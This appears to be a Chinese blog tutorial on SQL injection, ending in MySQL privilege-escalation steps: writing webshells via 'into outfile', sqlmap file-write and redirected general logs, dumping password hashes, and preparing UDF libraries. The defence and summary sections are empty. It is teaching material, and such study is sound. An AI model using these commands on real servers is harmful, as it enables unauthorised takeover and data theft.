SQL注入漏洞基础

SQL注入简介

SQL注入顾名思义,就是针对sql语言的一种代码注入技术,计算机难以分清指令与数据,所以在进行查询时,攻击者利用精心构造的SQL语句就可以得到想要的返回数据了。下面引用cloudflare官方文档对SQL注入的介绍

1
2
3
4
5
6
7
结构化查询语言 (SQL*) 注入是一种代码注入技术,用于修改或从 SQL 数据库检索数据。通过在输入字段中插入专用的 SQL 语句,攻击者可以执行命令,以允许从数据库中检索数据、破坏敏感数据或执行其他操纵行为。

通过正确执行 SQL 命令,未经授权的用户可以伪造特权更高的用户的身份,使自己或其他人成为数据库管理员,篡改现有数据、修改事务和余额以及检索和/或销毁所有服务器数据。

在现代计算中,SQL 注入通常是通过将恶意 SQL 查询发送到由网站或服务提供的 API 端点而在 Internet 上发生的(下文会详细介绍)。在最严重的形式下,SQL 注入可以使攻击者获得对计算机的 root 访问权限,完全掌握控制权。

*SQL 是用于维护大多数数据库的编程语言。

SQL 注入攻击的工作原理

模拟场景

一个法庭,一个名叫 Bob 的男子受审,他即将在法官面前出庭。在庭审前填写文书时,Bob 将自己的名字写成“Bob 可以自由离开”。当法官审理其案件并大声读出“下面传唤的人是‘Bob 可以自由离开’”时,法警放开 Bob,因为法官说他可以自由离开了。

尽管 SQLi 的各个变版略有不同,但核心漏洞本质上是相同的:本应为特定类型的数据(例如数字)保留的 SQL 查询字段传递了意外的信息(例如命令)。该命令在运行时越过预期的范围,从而允许可能有害的行为。查询字段通常由在网页上输入表单的数据填充。(该例子可以是验证密码的SQL注入实例)

实际场景

假设一个网站可以输入学生学号,直接查询对应的学生姓名。

那么假设其后端代码如下

1
2
studentId = getRequestString("studentId");
lookupName = "SELECT * FROM students WHERE studentId = " + studentId

可以看到,如果输入学号123456,对应的SQL查询语句就是

1
SELECT * FROM students WHERE studentId = 123456

如此查询可以返回正确的学生姓名。可是如果攻击者在语句后方拼接恶意代码,就可以越权获取他本不该获取数据了。例如他在网页的学号框中输入123456 OR 1=1,那么查询语句代码就变为

1
SELECT * FROM students WHERE studentId = 123456 OR 1=1

如此,攻击者就可以获取students表中所有的学生名了,因为 OR 1=1 使得 WHERE 表达式中的值恒为 TRUE。

危害与利用

危害

最常见的危害就是获取数据库信息了,也就是俗称的拖库。通过不断地枚举获取其数据表与字段,慢慢把数据全部打包带走。有些密码没做加密保护的,甚至还能直接盗取账号窃取凭证。除了获取数据,肯定也能增删改了,不论是大量垃圾数据的填充还是对实际数据的篡改与删除,危害都是很大的。此外,SQL注入有时也能用于提权getshell。

分类

SQL注入类型很多很杂。

根据提交参数类型有整形 字符型注入。一般弱类型语言如php asp等会做类型识别,对于异常类型会抛出异常,强类型语言如c# java则一般不存在该类问题。

根据返回结果也有回显和无回显注入。主要是根据提交数据后有无数据回显,为了方便判断结果,就有报错、时间、布尔盲注等注入方式,前者将结果包裹在报错信息中,后两者则通过布尔值与时间值的回显差异来进行true or false判断。

根据注入方法还有post\get\cookie等等。

MySQL提权

提权相对来说较为复杂,其危害一般是通过一些方法来获取系统权限,从而接管服务器。

直接写webshell
  • 目标网站绝对路径
  • 高数据库权限用户
  • 配置文件:load_file() 与 secure_file_prev 配置不当
  • web目录有写入权限

首先通过语法查看是否存在配置不当

1
2
3
4
5
6
7
show global variables like '%secure_file_priv%';

+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
Value说明
NULL不允许导入或导出
/tmp只允许在 /tmp 目录导入导出
不限制目录

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件

在 MySQL 5.5 之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

如果满足条件,则可以使用SQL语句写入恶意文件

1
select '<?php phpinfo(); ?>' into outfile '/var/www/html/info.php';

使用sqlmap则可以使用以下命令

1
sqlmap -u "http://x.x.x.x/?id=x" --file-write="./your_shell.php" --file-dest="/var/www/html/test/shell.php"

一般情况下 Linux 系统下面权限分配比较严格,MySQL 用户一般情况下是无法直接往站点根目录写入文件的,这种情况下在 Windows 环境下成功率会很高。

重定义日志文件
  • web目录有写入权限
  • Windows系统
  • 高权限账户

MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell

1
2
3
4
5
6
7
8
mysql> SHOW VARIABLES LIKE 'general%';

+------------------+---------------------------------+
| Variable_name    | Value                           |
+------------------+---------------------------------+
| general_log      | OFF                             |
| general_log_file | /var/lib/mysql/3liza.log      |
+------------------+---------------------------------+

该值默认为OFF,开启它可以记录用户输入的每条命令,会将其保存在对应的日志文件中。

通过重定义日志文件,向其中写入内容的话就可以将其改写为webshell。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# 更改日志文件位置
set global general_log = "ON";
set global general_log_file='/var/www/html/your_shell.php';

# 查看当前配置
mysql> SHOW VARIABLES LIKE 'general%';
+------------------+-----------------------------+
| Variable_name    | Value                       |
+------------------+-----------------------------+
| general_log      | ON                          |
| general_log_file | /var/www/html/your_shell.php|
+------------------+-----------------------------+

# 往日志里面写入 payload
select '<?php phpinfo();?>';

# 此时已经写到 your_shell.php 文件当中了

虽然写入已经成功了,但是修改该文件的用户是MySQL用户,一般访问时会报错,在Linuxroot下成功率较低,只有在Windows上才稍微好点。

破解哈希拿root

直接在mysql.user表中存在用户凭证信息

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
# MySQL <= 5.6 版本
mysql> select host, user, password from mysql.user;
+-----------+------+-------------------------------------------+
| host      | user | password                                  |
+-----------+------+-------------------------------------------+
| localhost | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| 127.0.0.1 | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| ::1       | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| %         | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
+-----------+------+-------------------------------------------+

# MySQL >= 5.7 版本
mysql > select host,user,authentication_string from mysql.user;
+-----------+---------------+-------------------------------------------+
| host      | user          | authentication_string                     |
+-----------+---------------+-------------------------------------------+
| localhost | root          | *8232A1298A49F710DBEE0B330C42EEC825D4190A |
| localhost | mysql.session | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| localhost | mysql.sys     | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
+-----------+---------------+-------------------------------------------+

简单的hash可以直接破解,复杂一点的也可以用hashcat跑

历史漏洞

太老了,不想写了,简单列一下

yaSSL缓冲区溢出: 08年曝出的MySQL yaSSL SSL Hello Message Buffer Overflow

CVE-2012-2122: 多次登录失败有几率直接登录进入数据库

UDF提权

UDF(User Defined Function), 用户自定函数。用户可以自定义函数,来实现一些更加方便的和复杂的操作。可以在SQL语句中像直接调用version()那样调用该自定函数。

在MySQL>=5.1的版本,需要将udf的dll\os文件放到MySQL安装目录里下的lib\plugin\下才能创建自定义函数。

sqlmap与msf都集成了一些dll\os文件。比如sqlmap/data/udf/mysql

sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap 自带的解码工具 cloak.py 来解码使用,cloak.py 的位置为:/extra/cloak/cloak.py

使用该命令来解码:

1
python3 cloak.py -d -i ./lib_mysqludf_sys.dll_[输入] -o ./lib_mysqludf_sys_64.dll[输出]

而msf的动态链接文件无需解码,存放在msf/embedded/framework/data/exploits/mysql,据说两者的动态链接库文件一模一样。。。

那么将动态链接文件放入plugin目录即可,使用以下命令查看目录

1
2
3
4
5
6
mysql> show variables like '%plugin%';
+---------------+------------------------------+
| Variable_name | Value                        |
+---------------+------------------------------+
| plugin_dir    | /usr/local/mysql/lib/plugin/ |
+---------------+------------------------------+

如果没有该目录,则可以先获取MySQL安装目录,再手动创建进去

1
2
3
4
5
6
mysql> select @@basedir;
+------------------+
| @@basedir        |
+------------------+
| /usr/local/mysql |
+------------------+

https://www.sqlsec.com/2020/11/mysql.html#%E5%8F%8D%E5%BC%B9%E7%AB%AF%E5%8F%A3%E6%8F%90%E6%9D%83

漏洞防护

总结